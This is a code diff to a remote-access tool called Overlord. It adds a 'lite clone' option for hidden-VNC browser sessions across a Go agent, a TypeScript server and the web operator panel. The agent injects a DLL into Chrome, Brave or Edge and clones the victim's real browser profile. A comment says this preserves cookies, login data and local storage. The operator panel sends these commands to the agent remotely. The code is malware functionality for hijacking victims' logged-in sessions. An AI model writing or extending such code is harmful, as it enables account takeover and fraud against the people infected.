add lite mode injections

Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go

@@ -118,7 +118,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
 // If clone is true, it clones the real profile so file I/O is redirected to the clone.
 // If clone is false, it starts the browser with injection but no path redirection.
 // browser should be one of: "chrome", "brave", "edge".
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool) error {
 	info, ok := browserInfoMap[strings.ToLower(browser)]
 	if !ok {
 		return fmt.Errorf("unknown browser %q", browser)
@@ -142,7 +142,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 	}
 	log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
 
-	cloneDir, err := cloneBrowserProfile(info.name, realUserData)
+	cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite)
 	if err != nil {
 		return fmt.Errorf("profile clone failed: %v", err)
 	}
@@ -153,7 +153,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 
 // StartHVNCChromeInjected is kept for backward compatibility.
 func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
-	return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
+	return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false)
 }
 
 type browserInfo struct {
@@ -225,7 +225,7 @@ func getBrowserUserDataDir(info browserInfo) string {
 // cloneBrowserProfile clones the browser user data directory, skipping only
 // large cache directories that aren't needed for a functional session.
 // This preserves extensions, cookies, login data, local storage, etc.
-func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
+func cloneBrowserProfile(browserName string, srcUserData string, lite bool) (string, error) {
 	prefix := "hvnc_" + strings.ToLower(browserName) + "_"
 	// Remove any previous cloned profile directories so we always use fresh data
 	tmpDir := os.TempDir()
@@ -258,6 +258,33 @@ func cloneBrowserProfile(browserName string, srcUserData string) (string, error)
 		"commerce_local_db":                             true,
 	}
 
+	if lite {
+		log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
+		liteSkip := []string{
+			"extensions",
+			"extension state",
+			"extension scripts",
+			"extension rules",
+			"local extension settings",
+			"sync extension settings",
+			"indexeddb",
+			"file system",
+			"session storage",
+			"sessions",
+			"sync data",
+			"web applications",
+			"webrtc internals",
+			"databases",
+			"platform notifications",
+			"gcm store",
+			"storage",
+			"feature_engagement_tracker",
+		}
+		for _, d := range liteSkip {
+			skipDirs[d] = true
+		}
+	}
+
 	entries, err := os.ReadDir(srcUserData)
 	if err != nil {
 		return "", fmt.Errorf("read user data dir: %v", err)

Overlord-Client/cmd/agent/handlers/command.go

@@ -1339,6 +1339,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		browser := ""
 		exePath := ""
 		clone := true
+		cloneLite := false
 		if payload != nil {
 			if v, ok := payload["browser"].(string); ok {
 				browser = v
@@ -1349,6 +1350,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			if v, ok := payload["clone"].(bool); ok {
 				clone = v
 			}
+			if v, ok := payload["cloneLite"].(bool); ok {
+				cloneLite = v
+			}
 		}
 		dllBytes := extractDLLBytes(payload)
 		if len(dllBytes) == 0 {
@@ -1359,10 +1363,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			sendCommandResultSafe(env, cmdID, false, "no browser specified")
 			return nil
 		}
-		log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes))
+		log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_browser_injected", nil, func() {
-			if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil {
+			if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil {
 				log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
 			}
 		})

Overlord-Server/public/assets/hvnc.js

@@ -747,13 +747,16 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
           sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
         } else if (action === "start-chrome") {
           const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
-          sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
+          const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
+          sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite });
         } else if (action === "start-brave") {
           const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
-          sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
+          const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
+          sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite });
         } else if (action === "start-edge") {
           const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
-          sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
+          const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
+          sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite });
         } else if (action === "start-custom") {
           const exePath = prompt("Enter exe path (required)");
           if (!exePath) {

Overlord-Server/public/hvnc.html

@@ -156,6 +156,10 @@
             <input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
             <span class="text-xs text-slate-300">Clone profile</span>
           </label>
+          <label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
+            <input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
+            <span class="text-xs text-slate-300">Lite clone (no extensions)</span>
+          </label>
           <button
             type="button"
             class="w-full text-left px-3 py-2 hover:bg-slate-800/70"

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -646,6 +646,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
         browser: String(payload.browser || ""),
         path: String(payload.path || ""),
         clone: payload.clone !== false,
+        cloneLite: payload.cloneLite === true,
         dll: dllData,
       });
       break;